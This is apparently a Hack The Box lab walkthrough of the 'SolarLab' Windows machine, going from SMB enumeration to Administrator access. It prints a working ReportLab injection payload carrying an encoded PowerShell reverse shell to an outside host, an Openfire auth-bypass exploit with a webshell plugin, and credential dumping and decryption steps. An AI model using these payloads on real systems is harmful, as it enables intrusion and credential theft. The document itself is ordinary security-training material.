HTB: SolarLab¶
This Windows machine is both a webserver and a development server for a company working on an XMPP chat app. It's also hosting an HR-oriented report-generation service with a RCE exploit, which allows an initial foothold. That grants access to the internal instance of the chat app, which itself has both an authentication-bypass vulnerability and an RCE flaw. With shell access as that user, encrypted credentials are discoverable. Once decrypted, that password can also be used for the Administrator account, completing system access.
Services¶
TCP¶
# Nmap 7.94SVN scan initiated Wed Jun 5 09:51:22 2024 as: nmap -v -p- -T4 --min-rate 10000 -oN nmap_tcp -sCV t
Nmap scan report for t (10.10.11.16)
Host is up (0.093s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://solarlab.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
6791/tcp open http nginx 1.24.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
|_http-server-header: nginx/1.24.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-06-05T15:51:50
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 5 09:52:28 2024 -- 1 IP address (1 host up) scanned in 66.31 seconds
80/tcp-http¶
$ whatweb http://solarlab.htb
http://solarlab.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.24.0], IP[10.10.11.16], JQuery[2.1.0], Meta-Author[Jewel Theme], Modernizr[2.8.0.min], Script[text/javascript], Title[SolarLab Instant Messenger], X-UA-Compatible[IE=edge], nginx[1.24.0]
445/tcp-smb¶
$ smbclient -L t
Password for [WORKGROUP\kali]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Documents Disk
IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to t failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
kali@kali:~/htb-solarlab
$ smbclient \\\\t\\Documents
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
. DR 0 Fri Apr 26 08:47:14 2024
.. DR 0 Fri Apr 26 08:47:14 2024
concepts D 0 Fri Apr 26 08:41:57 2024
desktop.ini AHS 278 Fri Nov 17 04:54:43 2023
details-file.xlsx A 12793 Fri Nov 17 06:27:21 2023
My Music DHSrn 0 Thu Nov 16 13:36:51 2023
My Pictures DHSrn 0 Thu Nov 16 13:36:51 2023
My Videos DHSrn 0 Thu Nov 16 13:36:51 2023
old_leave_request_form.docx A 37194 Fri Nov 17 04:35:57 2023
7779839 blocks of size 4096. 1894144 blocks available
smb: \>
Wow:
6791/tcp-http¶
$ whatweb http://t:6791
http://t:6791 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[nginx/1.24.0], IP[10.10.11.16], RedirectLocation[http://report.solarlab.htb:6791/], Title[301 Moved Permanently], nginx[1.24.0]
ERROR Opening: http://report.solarlab.htb:6791/ - no address for report.solarlab.htb
Added report.solarlab.htb
to /etc/hosts
.
$ whatweb http://report.solarlab.htb:6791
http://report.solarlab.htb:6791 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.24.0], IP[10.10.11.16], PasswordField[password], Title[Login - ReportHub], nginx[1.24.0]
feroxbuster
:
200 GET 85l 157w 2045c http://report.solarlab.htb:6791/login
200 GET 226l 1443w 123336c http://report.solarlab.htb:6791/static/css/images/logo.png
200 GET 85l 157w 2045c http://report.solarlab.htb:6791/
302 GET 5l 22w 229c http://report.solarlab.htb:6791/logout => http://report.solarlab.htb:6791/login?next=%2Flogout
302 GET 5l 22w 235c http://report.solarlab.htb:6791/dashboard => http://report.solarlab.htb:6791/login?next=%2Fdashboard
GET /login?next=%2Fdashboard HTTP/1.1
Host: report.solarlab.htb:6791
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIlBsZWFzZSBsb2cgaW4gdG8gYWNjZXNzIHRoaXMgcGFnZS4iXX1dfQ.ZmCP0g.gs6kAqxa7wJ9zMBwMApffp6-Bu8
Connection: close
Decoded session cookie: {"_flashes":[{" t":["message","Please log in to access this page."]}]}fý…
RCE¶
The login form says whether the user exists or not. Using the XLSX file recovered via SMB, I try some of the included usernames and discovered that claudias
is a valid user. But, the password listed there is not correct. Also valid: alexanderk
and blakeb
. The password ThisCanB3typedeasily1@
from the spreadsheet works for blakeb
.
The /leaveRequest
page allows generation of a PDF, including an attached image for the "signature":
This was generated via ReportLab, which has at least one RCE vulnerability. This PoC for CVE-2023-33733 allows accessing the os
Python module in the global context to achieve code exection.
I try to inject a ping
command to test, but I get a "Character limit exceeded" error:
After a very long time trying to minify the Python and get under the character limit, I realized I could inject the exploit into the travel_request
("Destination") parameter instead of the user_input
("Justification") parameter!
Final payload for foothold:
------WebKitFormBoundarycYcpxTXsv8b8JeQA
Content-Disposition: form-data; name="leave_request"
<font color="[[getattr(pow,X('__globals__'))['os'].system('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANAAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA') for X in [orgTypeFun('X',(str,),{'mutated':1,'startswith':lambda self,x: False,'__eq__':lambda self,x:self.mutate() and self.mutated<0 and str(self) == x,'mutate': lambda self: {setattr(self,'mutated',self.mutated-1)},'__hash__': lambda self: hash(str(self))})]] for orgTypeFun in [type(type(1))]] and 'red'">
PS C:\Users\blake\Documents\app> whoami
solarlab\blake
PS C:\Users\blake\Documents\app> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
PE¶
Found some creds:
$ sqlite3 users.db
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
user
sqlite> select * from user;
1|blakeb|ThisCanB3typedeasily1@
2|claudias|007poiuytrewq
3|alexanderk|HotP!fireguard
╔══════════╣ Enumerating Security Packages Credentials
Version: NetNTLMv2
Hash: blake::SOLARLAB:1122334455667788:ba4ab2b6cf438223bce0d0691ac1a510:01010000000000007b93e1ce79b7da0124e7bb324d4b5a0b000000000800300
03000000000000000000000000020000042af82b54d4f9dffe8b087199525fb50a128437c11ced7dbcb26cd222124ef780a00100000000000000000000000000000000000090
000000000000000000000
I see that OpenFire is running on this box, probably bound to port 9090. There is a PoC exploit for that service.
I'll set up ligolo-proxy
to I can access the port that's listening on 127.0.0.1 via my Kali machine on loopback address 240.0.0.1.
$ nc -nvz 240.0.0.1 9090
(UNKNOWN) [240.0.0.1] 9090 (?) open
I'll try the exploit.
$ python3 ./CVE-2023-32315.py -u http://240.0.0.1:9090
██████ ██ ██ ███████ ██████ ██████ ██████ ██████ ██████ ██████ ██████ ██ ███████
██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ███ ██
██ ██ ██ █████ █████ █████ ██ ██ ██ █████ █████ █████ █████ █████ █████ ██ ███████
██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██
██████ ████ ███████ ███████ ██████ ███████ ██████ ██████ ███████ ██████ ██ ███████
Coded By: K3ysTr0K3R --> Hug me ʕっ•ᴥ•ʔっ
[*] Launching exploit against: http://240.0.0.1:9090
[*] Checking if the target is vulnerable
[+] Target is vulnerable
[*] Adding credentials
[+] Successfully added, here are the credentials
[+] Username: hugme
[+] Password: HugmeNOW
It worked!
For RCE as the user running Openfire, theres a PoC for CVE-2023-32315 I can try. It involves uploading a malicious plugin that creates a webshell. I upload openfire-management-tool-plugin.jar
and navigate to the plugin interface at plugins/openfire-management-tool-plugin/cmd.jsp?action=command
, and it works:
I use the same payload as before:
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANAAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
And it works:
listening on [any] 443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.16] 56164
whoami
solarlab\openfire
PS C:\Program Files\Openfire\bin> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
======================= ======================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
WinPEAS:
╔══════════╣ Modifiable Services
╚ Check if you can modify any service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
LOOKS LIKE YOU CAN MODIFY OR START/STOP SOME SERVICE/s:
RmSvc: GenericExecute (Start/Stop)
...
════════════════════════════════════╣ Services Information ╠════════════════════════════════════
╔══════════╣ Interesting Services -non Microsoft-
╚ Check if you can overwrite some service binary or perform a DLL hijacking, also check for unquoted paths https://book.hacktricks.xyz/windo
ws-hardening/windows-local-privilege-escalation#services
Openfire(Ignite Realtime RTC Community - Openfire)["C:\Program Files\Openfire\bin\openfire-service.exe"] - Auto - Running
File Permissions: openfire [AllAccess]
Possible DLL Hijacking in binary folder: C:\Program Files\Openfire\bin (openfire [AllAccess])
Openfire Service
From C:\Program Files\Openfire\embedded-db\openfire.script
:
CREATE USER SA PASSWORD DIGEST 'd41d8cd98f00b204e9800998ecf8427e' ...
CREATE MEMORY TABLE PUBLIC.OFUSER(USERNAME VARCHAR(64) NOT NULL,STOREDKEY VARCHAR(32),SERVERKEY VARCHAR(32),SALT VARCHAR(32),ITERATIONS INTE
GER,PLAINPASSWORD VARCHAR(32),ENCRYPTEDPASSWORD VARCHAR(255),NAME VARCHAR(100),EMAIL VARCHAR(100),CREATIONDATE VARCHAR(15) NOT NULL,MODIFICA
TIONDATE VARCHAR(15) NOT NULL,CONSTRAINT OFUSER_PK PRIMARY KEY(USERNAME))
...
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL
,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@s
olarlab.htb','001700223740785','0')
...
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
Openfire stores its passwords encrypted, not hashed. From this discussion:
Had a quick look at what OpenFire does and it is basically true what we said, but it does use SHA1 AND blowfish, basically. What one needs to have to decrypt the encrypted password (yes, they are encrypted not hashed, but there is also a SHA1 hash of the passwordKey field involved) is a passwordKey + the encrypted password. The first 8 bytes (16 chars, 8 hex) of the encrypted password is the initialization vector, the blowfish CBC key is stored in the database as "passwordKey" (<- this is SHA1 hashed before used as key to blowfish CBC).
There's a tool available to do this.
$ git clone https://github.com/c0rdis/openfire_decrypt
Cloning into 'openfire_decrypt'...
remote: Enumerating objects: 15, done.
remote: Total 15 (delta 0), reused 0 (delta 0), pack-reused 15
Receiving objects: 100% (15/15), done.
Resolving deltas: 100% (4/4), done.
$ cd openfire_decrypt/
kali@kali:~/htb-solarlab/openfire_decrypt (master)
$ javac OpenFireDecryptPass.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
$ java OpenFireDecryptPass
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[-] Please specify the encypted password and the "passwordKey"
$ java OpenFireDecryptPass becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 hGXiFzsKaAeYLjn
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ThisPasswordShouldDo!@ (hex: 005400680069007300500061007300730077006F0072006400530068006F0075006C00640044006F00210040)
That password works from the Administrator
account:
$ nxc smb t -u Administrator -p 'ThisPasswordShouldDo!@'
SMB 10.10.11.16 445 SOLARLAB [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB 10.10.11.16 445 SOLARLAB [+] solarlab\Administrator:ThisPasswordShouldDo!@ (Pwn3d!)
Impacket works for shell access:
$ impacket-psexec Administrator:'ThisPasswordShouldDo!@'@t
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Requesting shares on t.....
[*] Found writable share ADMIN$
[*] Uploading file eFxaMLfr.exe
[*] Opening SVCManager on t.....
[*] Creating service ifeW on t.....
[*] Starting service ifeW.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19045.4355]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> type c:\users\administrator\desktop\root.txt
d9d4fe...